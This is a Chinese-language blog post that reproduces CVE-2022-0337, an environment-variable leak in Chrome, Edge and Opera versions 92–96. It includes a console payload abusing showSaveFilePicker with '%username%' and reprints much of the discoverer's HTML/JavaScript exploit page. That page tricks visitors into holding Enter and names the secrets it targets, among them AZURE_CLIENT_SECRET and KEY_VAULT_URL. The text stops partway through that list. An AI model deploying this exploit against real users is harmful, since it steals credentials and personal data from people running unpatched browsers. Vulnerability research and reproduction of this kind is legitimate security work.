有意思的CVE-2022-0337復現

 前言

 前兩天在刷tw,看到了個比較有意思的一個CVE漏洞,價值獎勵是10000美刀,比較好奇的是價值10000美刀的漏洞是什麼樣子的,漏洞利用就是需要在瀏覽器中進行用戶交互才能觸發該漏洞,但由於 Windows 的文件保存默認為接受,通過使用強制您按 ENTER 約 2 秒的技巧簡單地泄漏數十個環境變數。

 影響版本

Google Chrome版本範圍92.x-96.x

Microsoft Edge版本範圍92.x-96.x

Opera版本範圍78.x-81.x

 復現

 在存在漏洞的瀏覽器F12的控制台輸入payload

let a = await window.showSaveFilePicker({suggestedName:’%username%’});a.name;

 但是必須要訪問一個存在的html,百度首頁測試

 保存後控制台輸出環境變數username的值

 漏洞發現者為:Maciej Pulikowski,exp也是來自於作者,中間改了點樣式,因為覺得有點不太美觀!

 EXP

<html>
 <head>
   <title>
    CVE-2022-0337 System environment variables leak on Google Chrome,
    Microsoft Edge and Opera
   </title>
   <meta charset="UTF-8" />
 </head>

 <style>
   body {
     background: rgba(212,0,0,0.2);
     display: flex;
     justify-content: center;
     align-items: center;
     flex-direction: column;
  }
h1,
h2,
h3 {
 -webkit-text-stroke: 1px #00000050;
}

h1 {
 color: #d96c06;
 font-size: 36px;
}
h2 {
 color: #1ebe8e;
 font-size: 46px;
}
h3 {
 color: #c6f91f;
 font-size: 18px;
}
h2 span {
 color: #cf4848;
 font-size: 70px;
}

#author {
 font-size: 28px;
}

span {
 font-weight: 100;
}
</style>

 <body>
   <script>
     //how many time enter clicked in row
     let countEnter = 0;
     //is file downloaded
     let isDownloaded = false;

     //on page load
     window.onload = function () {
       const body = document.querySelector("body");
       const pixel = document.querySelector("#pixel");

       body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
       body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

       const randomNumber = Math.floor(Math.random() * 990) + 1;
       const filename = `f${randomNumber}.f`;

       //List of environment variables that hacker is interested in.
       const environmentVariables = [
         "USERNAME",
         "USERDOMAIN",
         "SESSIONNAME",
         "COMPUTERNAME",
         "KEY_VAULT_URL",
         "SECRET_NAME",
         "AZURE_TENANT_ID",
         "AZURE_CLIENT_ID",
         "AZURE_CLIENT_SECRET",